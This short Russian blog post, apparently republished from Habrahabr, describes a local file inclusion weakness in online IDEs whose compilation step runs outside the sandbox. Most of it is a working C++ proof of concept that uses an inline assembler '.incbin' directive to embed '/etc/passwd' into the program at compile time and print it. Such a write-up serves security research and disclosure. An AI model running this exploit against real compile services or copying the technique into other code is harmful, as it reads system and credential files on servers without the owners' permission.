Online IDE и Local File Inclusion

от автора

В последнее время появилось множество online IDE с возможностью компиляции и запуска в том числе и native-приложений. Естественно, возникает вопрос о безопасности таких сервисов. Скомпилированные программы запускаются в песочнице, а вот сама компиляция зачастую происходит в незащищенной среде.

GCC + GAS

GCC позволяет с помощью директивы asm вызывать GAS, у которого есть замечательная инструкция incbin. С ее помощью на этапе компиляции можно включить файл в качестве данных. Тогда exploit для С++ выглядит следующим образом:

#include <stdio.h>  extern "C"  asm(      ".global _data\n"      ".data\n"      "_data:\n"      ".incbin \"/etc/passwd\"\n"      ".byte 0" );  extern const char _data; const char* data = &_data;  int main() {     printf(data); } 

ссылка на оригинал статьи http://habrahabr.ru/post/183976/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *